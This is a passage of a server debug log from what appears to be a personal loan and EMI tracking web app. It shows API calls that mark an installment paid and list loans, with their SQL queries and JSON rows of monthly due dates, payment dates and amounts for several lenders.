  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-02-25T12:39:27.071Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:39:27.071Z server-connect:app Executing action step identify
2026-02-25T12:39:27.071Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:27.071Z server-connect:output identity: 1
2026-02-25T12:39:27.072Z server-connect:app Executing action step restrict
2026-02-25T12:39:27.072Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:27.072Z server-connect:output restrict: undefined
2026-02-25T12:39:27.072Z server-connect:app Executing action step update
2026-02-25T12:39:27.072Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:39:27.073Z server-connect:output update: { affected: 1 }
2026-02-25T12:39:27.351Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:39:27.352Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:39:27.352Z server-connect:app Executing action step identify
2026-02-25T12:39:27.352Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:27.352Z server-connect:output identity: 1
2026-02-25T12:39:27.352Z server-connect:app Executing action step restrict
2026-02-25T12:39:27.352Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:27.353Z server-connect:app Executing action step identify
2026-02-25T12:39:27.353Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:27.353Z server-connect:output identity: 1
2026-02-25T12:39:27.353Z server-connect:app Executing action step restrict
2026-02-25T12:39:27.353Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:27.354Z server-connect:output restrict: undefined
2026-02-25T12:39:27.354Z server-connect:app Executing action step custom
2026-02-25T12:39:27.354Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:39:27.354Z server-connect:output restrict: undefined
2026-02-25T12:39:27.354Z server-connect:app Executing action step select
2026-02-25T12:39:27.354Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:39:27.356Z server-connect:output list: [
  {
    id: 161,
    loan_id: 11,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 162,
    loan_id: 11,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-04-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 163,
    loan_id: 11,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 164,
    loan_id: 11,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 165,
    loan_id: 11,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 166,
    loan_id: 11,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 167,
    loan_id: 11,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 168,
    loan_id: 11,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 169,
    loan_id: 11,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 170,
    loan_id: 11,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 171,
    loan_id: 11,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 172,
    loan_id: 11,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 173,
    loan_id: 11,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 174,
    loan_id: 11,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 175,
    loan_id: 11,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-05-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 176,
    loan_id: 11,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 177,
    loan_id: 11,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 178,
    loan_id: 11,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 179,
    loan_id: 11,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 180,
    loan_id: 11,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 181,
    loan_id: 11,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 182,
    loan_id: 11,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 183,
    loan_id: 11,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 184,
    loan_id: 11,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-02T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 185,
    loan_id: 11,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 186,
    loan_id: 11,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 187,
    loan_id: 11,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 188,
    loan_id: 11,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-06-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 189,
    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-02-25T12:39:27.357Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '15',
    total_remaining_amount: 330465,
    total_paid_amount: 727023,
    percentage_paid: '68.75'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:39:32.803Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:39:32.803Z server-connect:app Executing action step identify
2026-02-25T12:39:32.803Z server-connect:app options: { provider: 'security' }
2026-02-25T12:39:32.803Z server-connect:output identity: 1
2026-02-25T12:39:32.804Z server-connect:app Executing action step restrict
2026-02-25T12:39:32.804Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:39:32.804Z server-connect:output restrict: undefined
2026-02-25T12:39:32.804Z server-connect:app Executing action step select
2026-02-25T12:39:32.804Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:39:32.806Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
